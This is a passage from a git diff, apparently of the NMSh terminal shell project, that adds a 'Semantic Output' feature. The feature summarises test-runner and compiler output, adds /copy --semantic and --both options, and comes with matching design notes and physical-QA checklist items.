opens them, taken verbatim from the output. Recognized: Node's test runner (spec and TAP), Jest, Vitest, pytest, `cargo test`, `go test`, TypeScript, Rust and GCC/Clang diagnostics; anything else stays raw only, and short passing output gets nothing. Details start open when the raw output is folded; click the details row or use Actions → Show or hide details. The output itself, its folding, search, selection and plain `/copy` are unchanged. `/copy --semantic` copies the reading (raw for an output without one, as the note says) and `/copy --both` the raw output and the reading under labelled NMSh separators. Settings → Transcript → Semantic Output turns it off. ### Fixed diff --git a/docs/design/v021-terminal-intelligence.md b/docs/design/v021-terminal-intelligence.md index 5ab0b3be..860aaa04 100644 --- a/docs/design/v021-terminal-intelligence.md +++ b/docs/design/v021-terminal-intelligence.md @@ -121,7 +121,9 @@ completion from bounded input (first 2 MiB), so it exists before the block is dr `/copy` gains `--raw` (default and current behavior), `--semantic` (the overview and details as text, raw with a note when there are none) and `--both` (labeled raw then semantic), mutually exclusive, combinable with existing selectors. Settings → Transcript → Semantic Output: On (default) / Off. External providers (`jc`, `delta`) are not part of -this phase. +this phase, nor are a fully collapsed raw section (raw keeps its existing fold policy) and a separate semantic search +scope (derived rows are excluded from find and selection). Details open by default when the raw output is folded +(they are what the fold hides) and closed when it is expanded; the reader's toggle is kept per block. ### 5. `/track` (#393, reconciling draft PR #394) diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md index e1358a5e..e644a606 100644 --- a/docs/development/v021-ledger.md +++ b/docs/development/v021-ledger.md @@ -18,7 +18,7 @@ Automated results here are not physical-terminal validation. | 1 | Reliability gates | #403, #408, #388 | `fix/v021-reliability` (stacked on #411) | | PR open | | 2 | `/view` | #397, #402 | `feature/v021-view` (stacked on slice 1) | | PR open | | 3 | `/edit` | #402 | `feature/v021-edit` (stacked on slice 2) | | PR open | -| 4 | Semantic Output | #386 | | | | +| 4 | Semantic Output | #386 | `feature/v021-semantic` (stacked on slice 3) | | PR open | | 5 | `/track` | #393 (#394) | | | | | 6 | Modules and diagnostics | #364, #365 | | | | | 7 | Themes and controls | #401, #336 | | | | @@ -35,7 +35,8 @@ Automated results here are not physical-terminal validation. Checklist: [v0.21 physical QA](../testing/v021-physical-qa.md). Slice 1: section 1 (multi-row progress in Ghostty and Terminal.app, queued highlight colors). Slice 2: section 2 (`/view` keys, rendering, refusals, hostile text, -NO_COLOR). Slice 3: section 3 (`/edit` editing keys, saving, conflicts, refusals). +NO_COLOR). Slice 3: section 3 (`/edit` editing keys, saving, conflicts, refusals). Slice 4: section 4 (overview rows, details +toggle, copy flags, Off). ## Verification notes diff --git a/docs/testing/v021-physical-qa.md b/docs/testing/v021-physical-qa.md index 8d03ff04..370770e2 100644 --- a/docs/testing/v021-physical-qa.md +++ b/docs/testing/v021-physical-qa.md @@ -20,6 +20,7 @@ | 2 `/view` | Terminal.app | macOS | zsh | | Not run | | | 3 `/edit` | Ghostty | macOS | zsh | | Not run | | | 3 `/edit` | Terminal.app | macOS | Bash or Fish | | Not run | | +| 4 Semantic Output | Ghostty | macOS | zsh | | Not run | | ## 1. Multi-row progress redraws (#388) @@ -69,3 +70,18 @@ (`chmod 444`) each explain why, and `/view` still opens them. - [ ] 3.8 `e` in `/view README.md` opens the editor on the same file; `vim notes.txt` and `nano notes.txt` still run as usual from the composer. + +## 4. Semantic Output + +- [ ] 4.1 `npm test` in this repository (long, passing): one overview row under the command (`✔ node --test · … passed · + 0 failed …`) above the folded output; nothing else changed; the lifecycle row appears once. +- [ ] 4.2 A failing run (break one test): the overview says how many failed and a details row lists the failing tests; + details are open when the output is folded, closed when it is expanded; clicking the row and Actions → Show or hide + details toggle it; Ctrl+O still folds only the raw output. +- [ ] 4.3 `npx tsc --noEmit` with an error, `cargo build` with an error, `make` of a C file with an error: a + diagnostics overview with `file:line:col` items. +- [ ] 4.4 `git status`, `ls`, `cat README.md`: no overview. +- [ ] 4.5 `/copy --semantic` and `/copy --both` on the failing run (paste into an editor); `/copy latest` is the raw + output only; find (Ctrl+F) never matches the overview text. +- [ ] 4.6 Settings → Transcript → Semantic Output Off: the rows disappear from every block; On brings them back. +- [ ] 4.7 `NO_COLOR=1` and Safe glyphs: the overview reads `+`/`x` and stays readable at 40 columns. diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index a3915804..c3d84b49 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -61,7 +61,7 @@ import {anyBridgeTargetActive, targetsPinnedTo, type BridgeTargetId} from '../th import {applyThemeBridge, bridgeColorLevel, bridgeStateExists, detectTargets, fzfBridgeArgs, integrationHealth, reloadTmux, reportTargets, setupBat, targetPalette, themeBridgeKey, type ApplyOutcome, type BridgeContext, type TargetFacts, type TargetReport} from '../themeBridge/runtime.js'; import {createThemeBridgePanel, renderThemeBridgePanel, themeBridgeKey as themeBridgePanelKey, type BridgePanelAction, type BridgePanelContext, type ThemeBridgePanelState} from '../themeBridge/ThemeBridgePanel.js'; import {createRowPanel, renderRowPanel, rowPanelKey, type RowPanelState} from '../ui/RowPanel.js'; -import {copiedNote, copySelectionPayload, parseCopyArgs, recordCopyText, resolveCopySelection} from '../clipboard/copySelection.js'; +import {copiedNote, copySelectionPayload, parseCopyArgs, recordCopyText, resolveCopySelection, semanticCopyPayload, type CopyContent} from '../clipboard/copySelection.js'; import {captureOutputAnchor, createOutputSelection, moveOutputSelection, restoreOutputAnchor, revealOutputSelection, validateOutputSelection, type OutputAnchor, type OutputScope, type OutputSelection} from '../output/OutputSelection.js'; import {copyPickerKey, createCopyPicker, renderCopyPicker, type CopyPickerState} from '../ui/CopyPicker.js'; import {DEFAULT_REPORT_OPTIONS, describeFindings, redactText, scanSensitive, type ReportFormat} from '../clipboard/report.js'; @@ -939,6 +939,7 @@ export class TerminalApp { this.output.setTranscriptAppearance(this.promptConfiguration.transcript); this.output.presenter.setTreatment(this.promptConfiguration.presentation); this.output.setOutputFolding(this.promptConfiguration.outputFolding); + this.output.setSemanticOutput(this.promptConfiguration.semanticOutput); this.output.presenter.setLayout(this.promptConfiguration.transcriptPresentation); this.output.presenter.setHyperlinks(this.host.capabilities.hyperlinks); this.renderer.setCursorStyle(cursorStyleSequence(this.promptConfiguration.cursor.shape, this.promptConfiguration.cursor.blink)); @@ -2184,6 +2185,10 @@ export class TerminalApp { if (affordance.copy && x >= affordance.copy.column && x <= affordance.copy.end) { this.selection = undefined; void this.copyBlock(row.blockStartId); return; } if (x >= affordance.column) { this.selection = undefined; this.openBlockPalette(row.blockStartId); this.render(); return; } } + if (key.kind === 'mouseClick' && row.semanticToggle !== undefined) { + this.output.toggleSemanticDetails(row.semanticToggle); + this.render(); + } if (key.kind === 'mouseClick' && row.isFoldHint && row.commandIndex !== undefined) { this.output.toggleExpanded(row.commandIndex); this.render(); @@ -3037,7 +3042,7 @@ export class TerminalApp { category: 'Transcript', action: {kind: 'keepHistoryClip', id: history.id}}] : []; const composerItems: PaletteItem[] = this.editor.text.trim() && !isSlashInput(this.editor.text) ? [{id: 'clip:keep-composer', label: 'Keep composer draft as clip', detail: 'Keep text in memory without changing the draft or executing it', category: 'Transcript', action: {kind: 'keepComposerClip'}}] : []; - this.paletteState = createPalette([...historyItems, ...composerItems, ...paletteItems(), ...this.failureNavigationItems(), ...(record ? blockPaletteItems(record) : [])]); + this.paletteState = createPalette([...historyItems, ...composerItems, ...paletteItems(), ...this.failureNavigationItems(), ...(record ? blockPaletteItems(record, this.blockOptions(record)) : [])]); } /** Newest-first indexes of completed commands that did not exit 0 (a nonzero exit or an interrupt is authoritative; output text is not). */ @@ -3229,7 +3234,7 @@ export class TerminalApp { if (this.running || this.settingsPanelActive) return; const record = this.output.view().completed.find(item => item.startId === startId); if (record && !record.frontend) { - this.paletteState = createPalette(blockPaletteItems(record)); + this.paletteState = createPalette(blockPaletteItems(record, this.blockOptions(record))); this.blockPaletteContext = {palette: this.paletteState, scope: this.outputScope()}; if (this.outputNavigation?.intent === 'actions' && this.outputNavigation.focusedId === startId) { this.blockPaletteReturn = {selection: this.outputNavigation, palette: this.paletteState}; @@ -3242,7 +3247,7 @@ export class TerminalApp { const records = this.output.view().completed; const index = records.findIndex(item => item.startId === startId); const record = records[index]; - if (!record || !blockPaletteItems(record).some(item => item.action.kind === 'block' && item.action.id === action)) return; + if (!record || !blockPaletteItems(record, this.blockOptions(record)).some(item => item.action.kind === 'block' && item.action.id === action)) return; // Selection itself never runs actions. An explicit choice ends it before any editor/program handoff. this.endOutputNavigation(false); const includeStatus = this.promptConfiguration.copy.includeStatus; @@ -3260,6 +3265,7 @@ export class TerminalApp { catch (error) { this.noteClipboard(clipboardFailure(error), 'error'); } } else if (action === 'fold') this.output.toggleExpanded(index); else if (action === 'view') this.openOutputViewer(record); + else if (action === 'details') this.output.toggleSemanticDetails(record.startId); else if (action === 'pager') await this.openBlockInPager(record); else if (action === 'explain') { this.explainBlock = record.startId; this.openAsk('why did this fail'); } else if (action === 'edit' || action === 'rerun') { @@ -3583,6 +3589,11 @@ export class TerminalApp { finally { rmSync(directory, {recursive: true, force: true}); this.render(); } } + /** Which conditional block actions this block offers. */ + private blockOptions(record: CompletedCommand): {details: boolean} { + return {details: Boolean(this.output.semanticFor(record)?.items.length)}; + } + private viewerLook(): ViewerLook { return {syntax: this.syntaxSgr, hyperlinks: this.host.capabilities.hyperlinks}; } @@ -3704,7 +3715,9 @@ export class TerminalApp { if (!this.outputNavigationAvailable()) return; const parsed = parseCopyArgs(args); if (!parsed.ok) { this.output.addFrontendInteraction(command.trim(), parsed.error, ERROR); return; } - const {selector, status, report} = parsed.request; + const {status, report, content} = parsed.request; + // --semantic and --both copy directly: without a selection they take the latest output, whatever the copy mode. + const selector = content === 'semantic' || content === 'both' ? (parsed.request.selector.kind === 'default' ? {kind: 'latest' as const, count: 1} : parsed.request.selector) : parsed.request.selector; const includeStatus = status ?? this.promptConfiguration.copy.includeStatus; if (selector.kind === 'picker' || (selector.kind === 'default' && this.promptConfiguration.copy.mode === 'picker')) { this.panelOrigin = undefined; @@ -3719,7 +3732,7 @@ export class TerminalApp { const resolved = resolveCopySelection(selector.kind === 'default' ? {kind: 'latest', count: 1} : selector, this.output.recentShellCommands()); if (!resolved.ok) { this.output.addFrontendInteraction(command.trim(), resolved.error, ERROR); return; } if (report) { this.startReport(resolved.records, report); return; } - await this.copyRecords(resolved.records, includeStatus); + await this.copyRecords(resolved.records, includeStatus, undefined, parsed.request.content); } /** @@ -3727,9 +3740,11 @@ export class TerminalApp { * stored output, oldest first, each followed by its recorded completion status when asked. Nothing to copy leaves * the clipboard as it was. Feedback is a brief note above the composer, given only after the write succeeded. */ - private async copyRecords(records: readonly CompletedCommand[], includeStatus: boolean, before?: string): Promise { + private async copyRecords(records: readonly CompletedCommand[], includeStatus: boolean, before?: string, content: CopyContent = 'raw'): Promise { const scope = this.outputScope(); - const payload = [before ?? '', copySelectionPayload(records, includeStatus)].filter(Boolean).join('\n'); + // --semantic / --both: the reading as text (raw for a record without one, said in the note); raw is the default. + const semantic = content === 'raw' ? undefined : semanticCopyPayload(records, content, includeStatus, record => this.output.semanticFor(record)); + const payload = [before ?? '', semantic ? semantic.payload : copySelectionPayload(records, includeStatus)].filter(Boolean).join('\n'); if (!payload.trim()) { const what = records.length === 1 ? `${records[0]!.command.split('\n')[0]!.slice(0, 60)} printed no output` : 'the selected commands printed no output'; this.noteClipboard(`Nothing to copy: ${what}; the clipboard is unchanged`, 'info'); @@ -3743,7 +3758,8 @@ export class TerminalApp { const live = this.output.recentShellCommands(); this.output.expandBlocks(records.filter(record => live.includes(record) && recordCopyText(record, includeStatus)).map(record => record.startId)); } - this.noteClipboard(copiedNote(records.length, copyStats(payload), includeStatus), 'success'); + const fallback = semantic?.unavailable ? ` · ${semantic.unavailable === records.length ? 'semantic unavailable, copied raw' : `${semantic.unavailable} without a semantic reading copied raw`}` : ''; + this.noteClipboard(`${copiedNote(records.length, copyStats(payload), includeStatus)}${content === 'semantic' && !fallback ? ' · semantic' : content === 'both' && !fallback ? ' · raw and semantic' : ''}${fallback}`, 'success'); return true; } @@ -7374,6 +7390,7 @@ export class TerminalApp { this.output.setTranscriptAppearance(next.transcript); this.output.presenter.setTreatment(next.presentation); this.output.setOutputFolding(next.outputFolding); + this.output.setSemanticOutput(next.semanticOutput); this.output.presenter.setLayout(next.transcriptPresentation); if (this.settingsPanelState) this.settingsPanelState.glyphStyle = next.glyphStyle; return true; @@ -7619,6 +7636,7 @@ export class TerminalApp { if (next.welcome === 'none') this.welcomeGeneration++; this.output.setTranscriptAppearance(next.transcript); this.output.setOutputFolding(next.outputFolding); + this.output.setSemanticOutput(next.semanticOutput); this.output.presenter.setTreatment(next.presentation); this.output.presenter.setLayout(next.transcriptPresentation); this.transcriptPanelState = undefined; diff --git a/src/clipboard/copySelection.ts b/src/clipboard/copySelection.ts index 342e0cb5..2b6fcfa2 100644 --- a/src/clipboard/copySelection.ts +++ b/src/clipboard/copySelection.ts @@ -1,5 +1,6 @@ import {serializeCopyPayload, type CompletedCommand} from '../output/OutputBuffer.js'; import {parseReportFlag, type ReportFormat} from './report.js'; +import {semanticText, type SemanticResult} from '../output/semantic.js'; /** * Which completed commands /copy takes, by recency (1 is the latest), and whether NMSh's completion status follows @@ -16,6 +17,8 @@ import {parseReportFlag, type ReportFormat} from './report.js'; * - `--status` / `--no-status` override the "Include completion status" setting for this copy only. Flags always * start with two dashes, so they never read as a negative count. * - `--report` (Markdown) or `--report=plain`: the selection as a structured report (see report.ts). + * - `--raw` (the default), `--semantic` or `--both`: the stored output, the Semantic Output reading (raw for a record + * that has none), or both under labelled NMSh separators. One of them at most; never with --report. * `/cp` is the same command: it reaches this parser with the same arguments. */ export const COPY_MAX_INDEX = 999; @@ -34,22 +37,31 @@ export interface CopyRequest { status?: boolean; /** Copy as a report in this format instead of plain output. */ report?: ReportFormat; + /** What of each record is copied; undefined is raw (the stored output). */ + content?: CopyContent; } +export type CopyContent = 'raw' | 'semantic' | 'both'; + export type CopyArgs = {ok: true; request: CopyRequest} | {ok: false; error: string}; -const USAGE = 'Use /copy, /copy latest, /copy ui, /copy N, /copy -N, /copy A-B or /copy 1,3-5, optionally with --status, --no-status or --report[=plain].'; +const USAGE = 'Use /copy, /copy latest, /copy ui, /copy N, /copy -N, /copy A-B or /copy 1,3-5, optionally with --status, --no-status, --report[=plain], or one of --raw, --semantic, --both.'; /** The text after `/copy`. Nothing is guessed: anything unrecognised is an error that names the usage. */ export function parseCopyArgs(text: string): CopyArgs { let status: boolean | undefined; let report: ReportFormat | undefined; + let content: CopyContent | undefined; const selectors: string[] = []; for (const token of text.trim().split(/\s+/u).filter(Boolean)) { const format = parseReportFlag(token); if (format === 'invalid') return {ok: false, error: `${token}: a report is --report (Markdown) or --report=plain.`}; if (format) { report = format; continue; } - if (token === '--status' || token === '--no-status') { + if (token === '--raw' || token === '--semantic' || token === '--both') { + const value = token.slice(2) as CopyContent; + if (content !== undefined && content !== value) return {ok: false, error: 'Use one of --raw, --semantic or --both.'}; + content = value; + } else if (token === '--status' || token === '--no-status') { const value = token === '--status'; if (status !== undefined && status !== value) return {ok: false, error: 'Use either --status or --no-status, not both.'}; status = value; @@ -58,10 +70,11 @@ export function parseCopyArgs(text: string): CopyArgs { } if (selectors.length > 1) return {ok: false, error: `One selection at a time (write lists with commas: /copy 1,3,5). ${USAGE}`}; if (report && status !== undefined) return {ok: false, error: 'A report always includes each command\'s status; leave out --status and --no-status.'}; - const withStatus = (selector: CopySelector): CopyArgs => ({ok: true, request: {selector, ...(status === undefined ? {} : {status}), ...(report ? {report} : {})}}); + if (report && content) return {ok: false, error: 'A report has its own format; leave out --raw, --semantic and --both.'}; + const withStatus = (selector: CopySelector): CopyArgs => ({ok: true, request: {selector, ...(status === undefined ? {} : {status}), ...(report ? {report} : {}), ...(content ? {content} : {})}}); const selector = selectors[0]; if (selector === undefined) return withStatus({kind: 'default'}); - if (selector === 'ui') return withStatus({kind: 'picker'}); + if (selector === 'ui') return content && content !== 'raw' ? {ok: false, error: '--semantic and --both copy directly: name the outputs (/copy 2 --semantic).'} : withStatus({kind: 'picker'}); if (selector === 'latest') return withStatus({kind: 'latest', count: 1}); const latest = /^-([1-9]\d*)$/u.exec(selector); if (latest) { @@ -130,6 +143,25 @@ export function copySelectionPayload(records: readonly CompletedCommand[], inclu .reduce((payload, text) => !payload ? text : payload.endsWith('\n') ? payload + text : `${payload}\n${text}`, ''); } +/** + * `/copy --semantic` and `--both`: per record, the Semantic Output reading as text, or (both) the raw output and the + * reading under labelled NMSh separators that cannot be mistaken for output. A record without a reading copies its raw + * output once, and is counted so the note can say so. Records keep their order and separation as in a raw copy. + */ +export function semanticCopyPayload(records: readonly CompletedCommand[], content: 'semantic' | 'both', includeStatus: boolean, + reading: (record: CompletedCommand) => SemanticResult | undefined): {payload: string; unavailable: number} { + let unavailable = 0; + const parts = records.map(record => { + const raw = recordCopyText(record, includeStatus); + const result = reading(record); + if (!result) { unavailable += 1; return raw; } + if (content === 'semantic') return semanticText(result); + return [`── NMSh · raw output ──`, raw.replace(/\r?\n$/u, ''), `── NMSh · Semantic Output ──`, semanticText(result)].join('\n'); + }).filter(Boolean); + const payload = parts.reduce((joined, text) => !joined ? text : joined.endsWith('\n') ? joined + text : `${joined}\n${text}`, ''); + return {payload, unavailable}; +} + /** The brief note after a successful copy: what was copied and how much (one output keeps the plain wording). */ export function copiedNote(count: number, stats: {characters: number; lines: number}, includeStatus: boolean): string { const what = count === 1 ? 'Copied' : `Copied ${count} outputs`; diff --git a/src/commands/slashCommands.ts b/src/commands/slashCommands.ts index c05244ea..76d2b91b 100644 --- a/src/commands/slashCommands.ts +++ b/src/commands/slashCommands.ts @@ -39,7 +39,7 @@ const RAW_COMMANDS: readonly SlashCommand[] = [ {name: '/action', insertion: '/action', alias: '/actions', description: 'Same as /actions, including /action N'}, {name: '/effects', insertion: '/effects ', description: 'Preview sparkles, rain or confetti in owned chrome; /effects stop cancels'}, {name: '/copy', insertion: '/copy', description: 'Select completed output: Up/Down, Enter copies, Esc returns (saved Quick Copy preferences still apply)'}, - {name: '/copy N', insertion: '/copy ', description: 'Copy Nth previous output; -N the latest N, A-B or 1,3,5 several; --status adds completion status'}, + {name: '/copy N', insertion: '/copy ', description: 'Copy Nth previous output; -N the latest N, A-B or 1,3,5 several; --status adds completion status; --semantic or --both the Semantic Output reading'}, {name: '/copy settings', insertion: '/copy settings', description: 'Output navigation, Quick Copy or Interactive Picker; completion status and auto-expand preferences'}, {name: '/view', insertion: '/view ', description: 'Read a file or a completed output in a native viewer: /view README.md · /view 2 (output 2, numbered as /copy) · /view (latest output)'}, {name: '/edit', insertion: '/edit ', description: 'Edit a small text file in NMSh: /edit notes.md (Ctrl+S saves safely, Esc closes; vim, nano and your editor still work as usual)'}, diff --git a/src/output/OutputBuffer.ts b/src/output/OutputBuffer.ts index 5dff1188..7122f456 100644 --- a/src/output/OutputBuffer.ts +++ b/src/output/OutputBuffer.ts @@ -13,6 +13,7 @@ import {type PromptSnapshot} from '../prompt/snapshot.js'; import {type TranscriptAppearance} from '../prompt/configuration.js'; import {TranscriptPresenter, type TranscriptView} from './TranscriptPresenter.js'; import {queueSummaryFrom, SUMMARY_LIMIT, type QueueSummary} from '../session/QueueSummary.js'; +import {recognizeOutput, type SemanticResult} from './semantic.js'; export {renderHistoricalContext} from './TranscriptPresenter.js'; @@ -155,6 +156,10 @@ export class OutputBuffer { /** How rows look; presentation state here is never serialized into transcripts. */ readonly presenter = new TranscriptPresenter(); private outputFolding: OutputFoldingMode = 'smart'; + /** Semantic Output (#386): readings of completed output, derived and never stored; details open/closed per block. */ + private semanticOutput = true; + private readonly semanticReadings = new WeakMap(); + private readonly semanticDetails = new Map(); private readonly parser: AnsiOutputParser; private readonly completed: CompletedCommand[] = []; private readonly visualGaps = new Set(); @@ -196,6 +201,7 @@ export class OutputBuffer { private retireClearedBlocks(): void { this.completed.length = 0; this.userToggled.clear(); + this.semanticDetails.clear(); this.setOutputFilter(undefined); if (!this.active) return; this.active.start = 0; @@ -271,6 +277,7 @@ export class OutputBuffer { this.firstRun = undefined; this.parser.restore([]); this.completed.length = 0; + this.semanticDetails.clear(); this.visualGaps.clear(); this.lineTypes.clear(); this.historicalContexts.clear(); @@ -617,9 +624,45 @@ export class OutputBuffer { firstRun: this.firstRun, ownerOf: this.blockOwnership(), foldHighlights: record => this.foldHighlightsFor(record), + semantic: record => { + const result = this.semanticFor(record); + return result ? {result, open: this.semanticDetailsOpen(record, result)} : undefined; + }, }; } + setSemanticOutput(on: boolean): void { this.semanticOutput = on; } + + /** + * The block's Semantic Output reading, computed once per record from its stored output (never stored, so a resumed + * transcript reads it again lazily). Only shell commands with output are read; Off reads nothing. + */ + semanticFor(record: CompletedCommand): SemanticResult | undefined { + if (!this.semanticOutput || record.frontend || record.activities?.length || !record.output) return undefined; + let reading = this.semanticReadings.get(record); + if (reading === undefined) { + reading = recognizeOutput(record.command, record.output, record.exitCode) ?? null; + this.semanticReadings.set(record, reading); + } + // The usefulness gate: a short, passing output already reads well; a listing of failures is always worth it. + if (!reading || (reading.outcome === 'passed' && !reading.items.length && record.output.split('\n').length < 10)) return undefined; + return reading; + } + + /** Details start open when the raw output is folded (they are what it hides), closed when it is expanded. */ + semanticDetailsOpen(record: CompletedCommand, result = this.semanticFor(record)): boolean { + if (!result?.items.length) return false; + return this.semanticDetails.get(record.startId) ?? !record.expanded; + } + + toggleSemanticDetails(startId: number): boolean { + const record = this.completed.find(item => item.startId === startId); + const result = record && this.semanticFor(record); + if (!record || !result?.items.length) return false; + this.semanticDetails.set(startId, !this.semanticDetailsOpen(record, result)); + return true; + } + /** Important hidden lines of a collapsed block, by line id; computed on first draw and kept per block identity. */ private readonly highlightCache = new Map(); private foldHighlightsFor(record: CompletedCommand): readonly number[] { diff --git a/src/output/OutputSelection.ts b/src/output/OutputSelection.ts index da5f02f1..45501707 100644 --- a/src/output/OutputSelection.ts +++ b/src/output/OutputSelection.ts @@ -42,7 +42,7 @@ export interface OutputAnchor { offset: number; } -const rowKind = (row: WrappedRow) => row.isFoldHint ? 'fold' : row.isHistoricalHeader ? 'historical' : row.isFilterHint ? 'filter' : 'line'; +const rowKind = (row: WrappedRow) => row.isFoldHint || row.isSemantic ? 'fold' : row.isHistoricalHeader ? 'historical' : row.isFilterHint ? 'filter' : 'line'; const stableRow = (row: WrappedRow | undefined) => row !== undefined && ((row.lineIndex ?? -1) >= 0 || row.blockStartId !== undefined || row.activityId !== undefined); const matchesAnchor = (row: WrappedRow, anchor: OutputAnchor) => row.lineIndex === anchor.lineIndex && row.blockStartId === anchor.blockStartId && row.activityId === anchor.activityId && rowKind(row) === anchor.kind; diff --git a/src/output/TranscriptPresenter.ts b/src/output/TranscriptPresenter.ts index b4d4b6f2..d237d730 100644 --- a/src/output/TranscriptPresenter.ts +++ b/src/output/TranscriptPresenter.ts @@ -21,6 +21,8 @@ import {archiveColor, grayscaleArchiveColor} from '../prompt/snapshot.js'; import {isPromptRole, promptRoleColors} from '../prompt/prompt.js'; import {DEFAULT_TRANSCRIPT_APPEARANCE, normalizeConnectorFade, type GitColorMode, type TranscriptAppearance} from '../prompt/configuration.js'; import type {CompletedCommand, HistoricalContextSnapshot, SecondaryActivity} from './OutputBuffer.js'; +import {semanticRows} from './semanticRows.js'; +import type {SemanticResult} from './semantic.js'; /** * History rules are UI chrome, resolved at use so themes apply. The shipped @@ -77,6 +79,8 @@ export interface TranscriptView { ownerOf: (lineIndex: number) => number | undefined; /** Line ids worth keeping in view inside a collapsed block's hidden middle (failures, diagnostics). */ foldHighlights?: (record: CompletedCommand) => readonly number[]; + /** The block's Semantic Output reading and whether its details are open (#386); undefined: raw only. */ + semantic?: (record: CompletedCommand) => {result: SemanticResult; open: boolean} | undefined; } /** Transient interaction state the app tracks; the presenter decides how it looks. */ @@ -181,6 +185,9 @@ export class TranscriptPresenter { } const cmd = completed.find(c => c.outputStartId === i); + // Semantic Output: the reading's rows come first in the block's output area; the output below is unchanged. + const reading = cmd && cmd.endId !== undefined && cmd.endId > cmd.outputStartId ? view.semantic?.(cmd) : undefined; + if (cmd && reading) result.push(...semanticRows(reading.result, reading.open, width, {lineIndex: cmd.outputStartId, commandIndex: completed.indexOf(cmd), startId: cmd.startId})); if (cmd && cmd.endId !== undefined && cmd.endId > cmd.outputStartId) { const hiddenLines = cmd.endId - cmd.outputStartId; // Activity-bearing parents use their lifecycle row as the disclosure control below. diff --git a/src/output/TranscriptSearch.ts b/src/output/TranscriptSearch.ts index 58356794..a1b5d0fd 100644 --- a/src/output/TranscriptSearch.ts +++ b/src/output/TranscriptSearch.ts @@ -78,7 +78,7 @@ export function logicalLines(rows: readonly WrappedRow[], include: (row: Wrapped let current: LogicalLine | undefined; let currentIndex: number | undefined; rows.forEach((row, index) => { - if (row.isFilterHint || !include(row)) { current = undefined; currentIndex = undefined; return; } + if (row.isFilterHint || row.isSemantic || !include(row)) { current = undefined; currentIndex = undefined; return; } if (current && row.lineIndex !== undefined && row.lineIndex === currentIndex) { current.offsets.push(current.text.length); current.rows.push(index); diff --git a/src/output/TranscriptSelection.ts b/src/output/TranscriptSelection.ts index c6fc39fe..fb8708a4 100644 --- a/src/output/TranscriptSelection.ts +++ b/src/output/TranscriptSelection.ts @@ -52,7 +52,7 @@ export function selectedText(rows: readonly WrappedRow[], selection: TranscriptS let previousLine: number | undefined; for (let index = start; index <= end && index < rows.length; index += 1) { const row = rows[index]!; - if (row.isFilterHint) continue; + if (row.isFilterHint || row.isSemantic) continue; const text = row.plain.slice(row.indent ?? 0); // Continuation rows of the same logical line are joined exactly; padding is trimmed once the line ends. if (row.lineIndex !== undefined && row.lineIndex === previousLine && lines.length) lines[lines.length - 1] += text; diff --git a/src/output/semantic.ts b/src/output/semantic.ts new file mode 100644 index 00000000..52fb7a8b --- /dev/null +++ b/src/output/semantic.ts @@ -0,0 +1,219 @@ +/** + * Semantic Output (#386, first phase): a deterministic reading of a completed command's stored output, never a + * replacement for it. Each recognizer is a pure function of (command, output, exit code) that accepts only its own + * unmistakable evidence (a runner's own summary line, a compiler's own diagnostic format) and fails closed otherwise. + * Counts are the ones the tool printed, items are lines taken verbatim from the output, and nothing is inferred + * about state the output does not show. The raw output stays authoritative: this is presentation and an optional copy. + */ + +export interface SemanticItem { + /** The line as the tool printed it (trimmed), possibly joined with its location line. */ + text: string; + tone: 'failure' | 'warning'; +} + +export interface SemanticResult { + kind: 'tests' | 'diagnostics'; + /** Who produced the facts ("node --test", "pytest", "TypeScript"). */ + source: string; + outcome: 'passed' | 'failed'; + /** One line of facts, as printed ("1,797 passed · 2 failed · 25 skipped"). */ + overview: string; + /** Failing tests or diagnostics, at most MAX_ITEMS. */ + items: SemanticItem[]; + /** Items found beyond MAX_ITEMS. */ + omitted: number; + /** False when only part of a very large output was read. */ + complete: boolean; +} + +export const MAX_ITEMS = 20; +/** Output read for recognition: the end of the output, where runners and compilers summarize. */ +export const MAX_SEMANTIC_BYTES = 2 * 1024 * 1024; + +/** The last line that matches (runners print their summary at the end). */ +function findLast(lines: readonly string[], test: (line: string) => boolean): string | undefined { + for (let index = lines.length - 1; index >= 0; index -= 1) if (test(lines[index]!)) return lines[index]; + return undefined; +} + +const number = (value: string | undefined) => value === undefined ? undefined : Number(value.replace(/,/gu, '')); +const count = (value: number) => value.toLocaleString('en-US'); +const plural = (value: number, word: string) => `${count(value)} ${word}${value === 1 ? '' : 's'}`; + +function facts(parts: ReadonlyArray): string { + return parts.filter(([, value]) => value !== undefined).map(([label, value]) => `${count(value!)} ${label}`).join(' · '); +} + +function collect(lines: readonly string[], pattern: RegExp, render: (match: RegExpExecArray) => string, tone: SemanticItem['tone'] = 'failure'): {items: SemanticItem[]; omitted: number} { + const seen = new Set(); + const items: SemanticItem[] = []; + let omitted = 0; + for (const line of lines) { + const match = pattern.exec(line); + if (!match) continue; + const text = render(match).trim(); + if (!text || seen.has(text)) continue; + seen.add(text); + if (items.length < MAX_ITEMS) items.push({text, tone}); else omitted += 1; + } + return {items, omitted}; +} + +type Recognizer = (command: string, lines: readonly string[], exitCode: number) => Omit | undefined; + +/** Node's test runner: the spec reporter's `ℹ` summary, or TAP's `#` summary. */ +const nodeTest: Recognizer = (_command, lines) => { + for (const marker of ['ℹ', '#'] as const) { + const value = (name: string) => number(findLast(lines, line => line.startsWith(`${marker} ${name} `))?.slice(marker.length + name.length + 2).trim().match(/^\d+$/u)?.[0]); + const tests = value('tests'); + const pass = value('pass'); + const fail = value('fail'); + if (tests === undefined || pass === undefined || fail === undefined) continue; + const skipped = value('skipped'); + const todo = value('todo'); + const cancelled = value('cancelled'); + const section = lines.findIndex(line => line === '✖ failing tests:'); + const failing = marker === 'ℹ' + ? collect(section >= 0 ? lines.slice(section + 1) : lines, /^✖ (.+?)(?: \([\d.]+m?s\))?$/u, match => match[1]!) + : collect(lines, /^not ok \d+ - (?!.*\s#\s*(?:TODO|SKIP)\b)(.+?)(?:\s+#.*)?$/iu, match => match[1]!); + failing.items = failing.items.filter(item => item.text !== 'failing tests:'); + return {kind: 'tests', source: 'node --test', outcome: fail > 0 || (cancelled ?? 0) > 0 ? 'failed' : 'passed', + overview: facts([['passed', pass], ['failed', fail], ['skipped', skipped || undefined], ['todo', todo || undefined], ['cancelled', cancelled || undefined]]), ...failing}; + } + return undefined; +}; + +/** Jest's `Tests:` line (and its `●` failure headings). */ +const jest: Recognizer = (_command, lines) => { + const summary = findLast(lines, line => /^Tests:\s+.*\d+ total$/u.test(line)); + if (!summary) return undefined; + const part = (name: string) => number(new RegExp(`(\\d[\\d,]*) ${name}`, 'u').exec(summary)?.[1]); + const failed = part('failed'); + const failing = collect(lines, /^\s*● 